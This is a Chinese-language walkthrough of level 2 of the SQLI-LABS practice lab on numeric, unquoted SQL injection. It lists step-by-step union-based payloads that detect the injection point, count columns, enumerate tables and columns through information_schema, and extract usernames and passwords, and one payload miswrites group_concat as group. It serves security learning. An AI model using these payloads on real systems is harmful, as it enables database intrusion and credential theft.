SQLI-LABS
02.第二关 【显错注入_数字型不闭合】
1.后端PHP源码分析
核心语句
本关的语句:$sql="SELECT * FROM users WHERE id= $id ;
对比前一关:$sql="SELECT * FROM users WHERE id='$id' ;
闭合方式
不需要闭合
处理思路
不需要关心单引号闭合,只需要最后-- x注释掉后边内容
中间可以构造使用AND OR 拼接语句进行探测
2.探测SQL注入漏洞
step1.判断注入点:
?id=1 and 1=1 -- x 正常显示
?id=1 and 1=2 -- x 显示异常
对比第一关
?id=1' and 1=1 -- x
?id=1' and 1=2 -- x
step2.推断字段数:
?id=1 order by 3 -- x 显示正常
?id=1 order by 4 -- x 显示异常
step3.找出显错位 :
?id=-1 union select 1,2,3 -- x 2和3被显示出来
step4.查询库表列:
//查询库名
?id=-1 union select 1,database(),3 -- x
//返回出数据库名为security
//关于information_schema,它是一个库,它有个tables表,
字段有的table_schema table_name create_time 等信息
每行是数据库server中所有database的所有table
//table_schema 是 information_schema.tables 表中的一个列,
用于表示数据库中的表所属的数据库名称。
//为什么要加limit,因为有很多个表名都来自security数据库
查询结果其实会有很多行,可以使用limit逐行显示,或者用group_concat拼接显示
//查询 security 数据库中第一个表的名称,
?id=-1 union
select 1, table_name ,3
from information_schema.tables //位置 指定某个表
where table_schema='security' //条件 限制某些行
limit 0,1 -- x //输出 emails
?id=-1 union
select 1, table_name ,3
from information_schema.tables
where table_schema='security'
limit 1,1 -- x //输出 referers
?id=-1 union
select 1, table_name ,3
from information_schema.tables
where table_schema='security'
limit 2,1 -- x //输出 uagents
limit 3,1 -- x //输出 users
limit 4,1 -- x //输出 为空
?id=-1 union
select 1, group(table_name) ,3
from information_schema.tables
where table_schema='security'
limit 0,1 -- x
//查询某个库某个表的所有列名,逐行显示出
?id=-1 union
select 1, column_name ,3
from information_schema.columns //位置 某个表
where table_schema='security' and table_name='users'
limit 0,1 -- x //输出 id
limit 1,1 -- x //输出 username
limit 2,1 -- x //输出 password
limit 3,1 -- x //输出 为空
step5.查询数据值:
//在users表中,对id列,逐行显示出
?id=-1 union select 1, id ,3 from users limit 0,1 -- x
?id=-1 union select 1, id ,3 from users limit 1,1 -- x
?id=-1 union select 1, id ,3 from users limit 2,1 -- x
?id=-1 union select 1, username ,3 from users limit 0,1 -- x
?id=-1 union select 1, password ,3 from users limit 0,1 -- x